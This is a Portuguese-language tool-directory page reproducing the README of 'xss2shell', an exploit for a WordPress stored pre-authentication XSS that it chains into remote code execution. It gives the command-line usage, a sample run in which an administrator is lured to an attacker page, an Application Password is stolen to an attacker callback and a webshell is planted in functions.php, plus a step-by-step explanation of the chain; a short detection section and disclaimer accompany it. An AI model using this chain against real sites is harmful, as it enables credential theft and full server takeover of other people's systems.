Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
xss2shell — CVE-2026-64638 | WordPress < 7.0.3 XSS Armazenado Pré-Autenticação → RCE | Kitploit
Ferramentas/GitHubGitHub/alisalive/xss2shell
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebPós-ExploraçãoSegurança WebTestes de PenetraçãoFerramenta de Acesso RemotoDesenvolvimento de Payloads
GitHubalisalive/xss2shell

xss2shell

CVE-2026-64638 | WordPress < 7.0.3 XSS Armazenado Pré-Autenticação → RCE

Ver Repositório
21há 16 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
xss2shell



CVE WordPress Python License

Todo PoC público para esta CVE está quebrado. Este funciona.

O Bug · Início Rápido · Como Funciona · Limitações


O Bug

O WordPress < 7.0.3 não sanitiza o parâmetro log (nome de usuário) em wp-login.php. O valor é armazenado e renderizado dentro da sessão autenticada do administrador — um XSS armazenado pré-autenticação que se encadeia até o controle total do servidor com um único clique.

Victim clicks lure  --->  XSS fires  --->  App Password stolen  --->  Shell planted  --->  RCE

Início Rápido

# Zero dependencies. Pure Python 3.
python xss2shell.py -t http://target.com -c "id"
Exemplo de saída
[*] Target: http://target.com
[+] WordPress login found
[+] Listening on 192.168.1.5:9443
[*] Send this to the admin -> http://192.168.1.5:9443/
[*] Waiting for victim ...
[+] Victim opened the attacker page
[+] XSS payload POSTed to wp-login.php
[+] Application Password stolen: user=admin pass=XXXX XXXX XXXX XXXX
[+] Theme editor -> webshell in functions.php

============================================================
[+] RCE via theme
[+] $ id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================

[+] Shell -> http://target.com/?xss2shell_cmd=whoami
[+] Done.

Uso

usage: xss2shell.py [-h] -t TARGET -c COMMAND [--lhost IP] [--lport PORT] [--keep]

  -t, --target    Target WordPress URL
  -c, --command   OS command to execute on the server
  --lhost         Attacker callback IP (default: auto-detect)
  --lport         Attacker callback port (default: random)
  --keep          Don't clean up artifacts after exploitation

Como Funciona

EtapaAçãoDetalhe
1. XSSInjeção via wp-login.phpParâmetro log manipulado com DOM clobbering (<area id=ajaxurl>) sequestra a URL AJAX do WP, clicando automaticamente na aprovação da App Password via JSONP
2. RouboExfiltração da Application Passwordauthorize-application.php cria silenciosamente uma App Password; success_url a envia para o atacante
3. ShellGravação de webshell (3 fallbacks)Editor de temas → functions.php · Upload de plugin → xss2shell/shell.php · Editor de plugins → arquivo de plugin existente
4. RCEExecução de comandos do SOO webshell executa shell_exec(), retorna saída JSON, a ferramenta verifica automaticamente e limpa

Versões Afetadas

VersãoStatus
WordPress < 7.0.3Vulnerável
WordPress >= 7.0.3Corrigido

Limitações

CondiçãoImpacto
DISALLOW_FILE_EDITEditores de tema/plugin bloqueados — apenas o upload de ZIP funciona
DISALLOW_FILE_MODSTodos os 3 métodos bloqueados — sem RCE
WAF (Cloudflare, Wordfence)Pode filtrar o payload XSS ou as requisições de webshell
disable_functions no PHPshell_exec bloqueado — saída vazia
Bloqueador de pop-upQuebra a cadeia de pop-ups
Cabeçalhos CSP estritosBloqueia JS inline ou fetch cross-origin

Detecção

Procure por estes indicadores se o xss2shell foi usado contra o seu site:

  • Application Password com nome de app XSS2Shell-Poc-Wordsec
  • Plugin xss2shell em wp-content/plugins/
  • String xss2shell_cmd em functions.php ou em qualquer arquivo de plugin
  • Requisições JSONP para /?rest_route=/&_method=GET&_jsonp=

Por Que Isso Existe

Todo PoC público para CVE-2026-64638 para em alert(1) ou exige etapas manuais que nenhum triager consegue reproduzir. Esta ferramenta entrega exploração da cadeia completa em um único comando — de zero autenticação até RCE. Feita para pesquisadores de segurança que precisam de prova, não de teoria.

Aviso Legal

Apenas para testes de segurança autorizados e fins educacionais. Use somente contra sistemas que você possui ou para os quais tem permissão escrita explícita de teste. O acesso não autorizado a sistemas de computador é ilegal.


WordSec · CVE-2026-64638 · Corrigido no WordPress 7.0.3

Baixar ferramenta